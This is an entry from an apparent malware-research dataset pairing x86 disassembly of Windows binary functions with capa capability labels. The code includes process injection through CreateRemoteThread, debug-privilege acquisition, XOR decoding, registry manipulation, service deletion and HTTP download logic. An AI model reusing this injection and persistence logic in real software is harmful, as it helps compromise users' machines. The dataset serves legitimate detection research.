joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001a950
Capabilities:
Encode data using xor
Get common file path
Read file on windows

Disassembly:
sub esp, 0x26c
push ebp
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
mov byte [esp + 0x94], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 0x95]
xor ebp, ebp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x174]
mov dword [esp + 0x10], ebp
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, dword [esp + 0x27c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x174]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x80
and ecx, 3
push 3
push eax
push 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
lea eax, [esp + 0x188]
push SysReAllocStringLen
push eax
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x1001aa86
lea ecx, [esp + 0xc]
push ebp
push ecx
lea edx, [esp + 0x1c]
push 0x80
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1001aa77
xor eax, eax
mov cl, byte [esp + eax + 0x14]
xor cl, 0xea
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 0x80
jb 0x1001aa26
mov eax, dword [esp + 0x280]
mov ecx, 8
lea esi, [esp + 0x14]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
lea edi, [eax + 0x20]
mov ecx, 8
lea esi, [esp + 0x34]
rep movsd dword es:[edi], dword [esi]
lea edi, [eax + 0x40]
mov ecx, 8
lea esi, [esp + 0x54]
rep movsd dword es:[edi], dword [esi]
lea edi, [eax + 0x60]
mov ecx, 8
lea esi, [esp + 0x74]
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x26c
ret
push 0x10004b3c
lea eax, [esp + 0x138]
push 0x10004c10
push eax
call fcn.10022cae
add esp, 0xc
lea ecx, [esp + 0x134]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ecx
call edi
cmp eax, 0xffffffff
jne 0x1001aac9
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1001ab05
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0xc]
test edx, edx
je 0x1001aadb
mov ebp, eax
jmp 0x1001aade
push eax
call esi
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x9c]
push 0xa0
push ecx
push 0
push 0
push 0x22000b
push ebp
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ebp
call esi
mov al, byte [esp + 0xb4]
test al, al
je 0x1001ab74
mov al, byte [esp + 0xd4]
test al, al
je 0x1001ab74
mov eax, dword [esp + 0x280]
mov ecx, 8
lea esi, [esp + 0xb4]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
lea edi, [eax + 0x20]
mov ecx, 8
lea esi, [esp + 0xd4]
rep movsd dword es:[edi], dword [esi]
lea edi, [eax + 0x40]
mov ecx, 8
lea esi, [esp + 0xf4]
rep movsd dword es:[edi], dword [esi]
lea edi, [eax + 0x60]
mov ecx, 8
lea esi, [esp + 0x114]
mov eax, 1
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebp
add esp, 0x26c
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x26c
ret
Function at 0x1001ab80
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push eax
push 0x2001f
push 0
push 0x10004c64
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001abce
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push 0x10004c64
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1001ac2e
mov edx, dword [esp + 0xc]
push esi
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ecx
push edx
push 1
push eax
mov eax, dword [esp + 0x18]
push 0x10004c5c
push eax
call esi
mov edx, dword [esp + 0x18]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esp + 0xc]
push edx
push 1
push eax
push 0x10004c54
push ecx
call esi
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 8
ret

Function at 0x1001ac40
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp + 8]
push eax
push 0x2001f
push 0
push 0x10004c64
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001ac69
xor eax, eax
add esp, 0xc
ret
mov edx, dword [esp + 0x10]
lea ecx, [esp]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ecx
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push 0x10004c5c
push ecx
mov dword [esp + 0x1c], 0x104
mov dword [esp + 0x20], 1
call esi
mov eax, dword [esp + 0x18]
lea edx, [esp + 4]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0xc]
push eax
push ecx
push 0
push 0x10004c54
push edx
mov dword [esp + 0x1c], 0x104
mov dword [esp + 0x20], 1
call esi
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop esi
add esp, 0xc
ret
Function at 0x1001ace0
Capabilities:
Create http request
Delete registry key
Print debug messages
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
sub esp, 0x410
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x221]
mov byte [esp + 0x220], bl
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x424]
cmp edi, ebx
je 0x1001ad46
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push 0x2f
push ecx
call fcn.10022d00
add esp, 8
cmp eax, ebx
je 0x1001ae21
mov byte [eax + 1], bl
mov edi, 0x100016f4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x42c]
mov ecx, ebp
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x42c]
lea edx, [esp + 0x1c]
push ecx
lea eax, [esp + 0x124]
push edx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [esp + 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ebp, dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x220]
rep stosd dword es:[edi], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], 9
push ebx
push ebx
push ebx
push ebx
push 0x10004bf4
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
cmp esi, ebx
je 0x1001ae12
push ebx
push 0x4000000
push ebx
lea edx, [esp + 0x128]
push ebx
push edx
push esi
call ebp
mov edi, eax
cmp edi, ebx
jne 0x1001ae30
mov eax, dword [esp + 0x10]
mov ecx, eax
dec eax
test ecx, ecx
mov dword [esp + 0x10], eax
jne 0x1001ade4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x410
ret 0xc
lea edx, [esp + 0x220]
test edx, edx
je 0x1001ae51
lea eax, [esp + 0x14]
lea ecx, [esp + 0x220]
push eax
push 0x20
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
lea edx, [esp + 0x220]
push 0x100016ec
push edx
call fcn.10029960
add esp, 8
test eax, eax
je 0x1001ae21
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0x10004c64
push SysReAllocStringLen
call esi
push 0x10004c84
push SysReAllocStringLen
call esi
push 0x10004c74
push SysReAllocStringLen
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x410
ret 0xc
Function at 0x1001b040
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x12c
push ebp
lea eax, [esp + 4]
push edi
push eax
push 0x28
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1001b0ce
lea ecx, [esp + 0x10]
push ecx
push 0x10004c94
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x1001b08b
mov edx, dword [esp + 8]
push edx
jmp 0x1001b0cc
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
push 0
push 0
lea edx, [esp + 0x20]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x10]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x30], 1
mov dword [esp + 0x38], ecx
mov dword [esp + 0x3c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1001b0ce
mov ecx, dword [esp + 8]
push ecx
call ebp
push 0x10001694
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x1001b0e8
pop edi
pop ebp
add esp, 0x12c
ret 4
push 0x10004ca8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x1001b105
pop edi
pop ebp
add esp, 0x12c
ret 4
mov eax, dword [0x10034fdc]
push esi
lea edx, [esp + 0x34]
push 0x104
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [esp + 0x13c]
push ecx
push 0
push 0x3a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1001b1af
push ebx
push 0x40
push 0x1000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x1001b1ab
lea edx, [esp + 0x34]
lea eax, [esp + 0x38]
push edx
push 0x104
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1001b19c
lea ecx, [esp + 0x30]
push ecx
push 0
push ebx
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
test edi, edi
je 0x1001b19c
push 0x102
push edi
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call ebp
push 0x8000
push 0
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call ebp
pop ebx
mov eax, dword [esp + 0x10]
pop esi
pop edi
pop ebp
add esp, 0x12c
ret 4

Function at 0x1001b2a0
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push 0x10004cc0
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1001b30d
mov ecx, dword [esp + 0xc]
cmp byte [ecx], 0
je 0x1001b2e0
mov dl, byte [eax + ecx + 1]
inc eax
test dl, dl
jne 0x1001b2d7
mov edx, dword [esp]
inc eax
push eax
push ecx
push 1
push 0
push 0x10004cb8
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret
Function at 0x1001b320
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp]
push eax
push 0x20019
push 0
push 0x10004cc0
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001b349
xor eax, eax
add esp, 0xc
ret
mov edx, dword [esp + 0x10]
lea ecx, [esp + 4]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push 0x10004cb8
push ecx
mov dword [esp + 0x1c], 0x104
mov dword [esp + 0x20], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 0xc
ret

Function at 0x1001b390
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push 0x10004cd0
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1001b3fd
mov ecx, dword [esp + 0xc]
cmp byte [ecx], 0
je 0x1001b3d0
mov dl, byte [eax + ecx + 1]
inc eax
test dl, dl
jne 0x1001b3c7
mov edx, dword [esp]
inc eax
push eax
push ecx
push 1
push 0
push 0x10004cb8
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret

Function at 0x1001b410
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp]
push eax
push 0x20019
push 0
push 0x10004cd0
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001b439
xor eax, eax
add esp, 0xc
ret
mov edx, dword [esp + 0x10]
lea ecx, [esp + 4]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push 0x10004cb8
push ecx
mov dword [esp + 0x1c], 0x104
mov dword [esp + 0x20], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 0xc
ret
Function at 0x1001b540
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp]
push ebx
push esi
push edi
push eax
push 0x2001f
push 0
push 0x10004c84
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001b56f
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
mov eax, dword [esp + 0x1c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
mov ebx, 0x104
mov edi, 1
je 0x1001b5c0
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
push eax
mov eax, dword [esp + 0x14]
push edx
push 0
push 0x10004c5c
push eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], edi
call esi
test eax, eax
je 0x1001b5c0
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
mov eax, dword [esp + 0x20]
test eax, eax
je 0x1001b601
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], ebx
push eax
push 0
push 0x10004c54
push ecx
mov dword [esp + 0x2c], edi
call esi
test eax, eax
je 0x1001b601
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
mov eax, dword [esp + 0x24]
test eax, eax
je 0x1001b642
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
push eax
mov eax, dword [esp + 0x14]
push edx
push 0
push 0x10004cec
push eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], edi
call esi
test eax, eax
je 0x1001b642
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
mov eax, dword [esp + 0x28]
test eax, eax
je 0x1001b683
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], ebx
push eax
push 0
push 0x10004ce4
push ecx
mov dword [esp + 0x2c], edi
call esi
test eax, eax
je 0x1001b683
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x1001b6c4
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
push eax
mov eax, dword [esp + 0x14]
push edx
push 0
push 0x10004cdc
push eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], edi
call esi
test eax, eax
je 0x1001b6c4
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0xc
ret
Function at 0x1001b750
Capabilities:
Delete service
Stop service

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, dword [esp + 0x30]
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
push 0xf01ff
push ebx
push esi
call ebp
mov edi, eax
test edi, edi
je 0x1001b796
lea eax, [esp + 0x10]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0xf01ff
push ebx
push esi
call ebp
mov edi, eax
test edi, edi
je 0x1001b7b3
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1c
ret

Function at 0x1001ba60
Capabilities:
Check http status code
Create http request

Disassembly:
sub esp, 8
push esi
push edi
push 0
push 0
push 0
push 4
push 0x10004d0c
mov dword [esp + 0x1c], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
test esi, esi
je 0x1001bb0e
mov eax, dword [esp + 0x14]
push 0
push 0x4000000
push 0
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x1001bb01
lea ecx, [esp + 0xc]
push 0
lea edx, [esp + 0xc]
push ecx
push edx
push 0x20000013
push edi
mov dword [esp + 0x20], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x1001baed
mov eax, dword [esp + 8]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp eax, 0x193
jne 0x1001bb09
call edi
push esi
call edi
pop edi
mov eax, 1
pop esi
add esp, 8
ret
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
pop edi
xor eax, eax
pop esi
add esp, 8
ret
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0
call edi
push esi
call edi
pop edi
xor eax, eax
pop esi
add esp, 8
ret
Function at 0x1001c390
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push eax
push 0x2001f
push 0
push 0x10004ed8
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001c3de
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push 0x10004ed8
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1001c41e
mov edx, dword [esp + 0xc]
test edx, edx
je 0x1001c408
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 1
push eax
mov eax, dword [esp + 0x14]
push 0x10004ecc
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret

Function at 0x1001c430
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
lea eax, [esp]
push eax
push 0x2001f
push 0
push 0x10004ed8
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1001c459
xor eax, eax
add esp, 0xc
ret
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1001c48e
lea ecx, [esp + 4]
lea edx, [esp + 8]
push ecx
push eax
mov eax, dword [esp + 8]
push edx
push 0
push 0x10004ecc
push eax
mov dword [esp + 0x1c], 0x104
mov dword [esp + 0x20], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 0xc
ret

Function at 0x1001c4e0
Capabilities:
Accept command line arguments
Create thread

Disassembly:
sub esp, 0x104
lea eax, [esp]
push ebx
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 4]
push 0x5c
push ecx
call fcn.10019e20
lea ebx, [eax + 1]
push 0x10004f18
push ebx
call fcn.10019d40
add esp, 0x10
test eax, eax
je 0x1001c5af
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
test esi, esi
je 0x1001c597
push 0x10004f0c
push esi
call fcn.10022d30
add esp, 8
test eax, eax
je 0x1001c560
mov edi, 0x10004f08
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x10035268
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x1001c592
push 0x10004efc
push esi
call fcn.10022d30
add esp, 8
test eax, eax
je 0x1001c597
mov edi, 0x10004ef8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x10035268
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov al, byte [0x10035268]
pop edi
test al, al
pop esi
je 0x1001c5af
push 0x10035268
call fcn.1001c390
add esp, 4
push 0x10004ee8
push ebx
call fcn.10019d40
add esp, 8
test eax, eax
pop ebx
je 0x1001c5e6
push 0
push 0
push 0
push 0x1001c5f0
push 0x400
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add esp, 0x104
ret
xor eax, eax
add esp, 0x104
ret
Function at 0x1001c960
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push 0x100
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1001ca29
mov eax, dword [esi + 0x2c]
mov ecx, dword [0x100358dc]
cmp eax, ecx
jne 0x1001ca29
mov eax, dword [0x10004f2c]
test eax, eax
je 0x1001ca29
mov edx, dword [esi + 0x18]
or ecx, 0xffffffff
xor eax, eax
lea esi, [edx + 4]
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x20
jae 0x1001ca29
mov edi, esi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1001ca29
mov edi, esi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x10035438
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
mov cl, byte [edx + 0x40]
mov dword [0x10035458], ecx
mov eax, dword [edx + 0x157c]
mov ecx, dword [edx + 0x1578]
push eax
push ecx
push 0x10004f7c
push 0x10035358
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
push 0
push 0
push 0x1001d120
push 0x400
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10004f2c], 0
pop edi
pop esi
ret 4

Function at 0x1001d290
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
sub esp, 0x108
mov dword [0x10035968], eax
lea eax, [esp + 4]
mov dword [0x10035964], edx
push ebx
push 0x104
xor ebx, ebx
push eax
push ebx
mov dword [0x10035960], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 8]
push 0x5c
push ecx
call fcn.10019e20
inc eax
push 0x1000594c
push eax
call fcn.10019d40
add esp, 0x10
test eax, eax
je 0x1001d380
lea edx, [esp + 8]
push edx
call fcn.1001b1f0
add esp, 4
mov dword [0x10036718], ebx
mov dword [0x1003672c], ebx
push 0x8007
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
cmp dword [0x1003673c], ebx
je 0x1001d321
mov eax, 1
pop ebx
add esp, 0x108
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x1003673c], eax
mov eax, dword [0x10036734]
cmp eax, ebx
mov byte [0x10035f88], bl
mov byte [0x10036008], bl
jne 0x1001d380
push edi
mov ecx, 0x183
xor eax, eax
mov edi, 0x10036088
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push ebx
push ebx
push 0x1001d9c0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
mov dword [0x10036734], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop ebx
add esp, 0x108
ret 0xc
xor eax, eax
pop ebx
add esp, 0x108
ret 0xc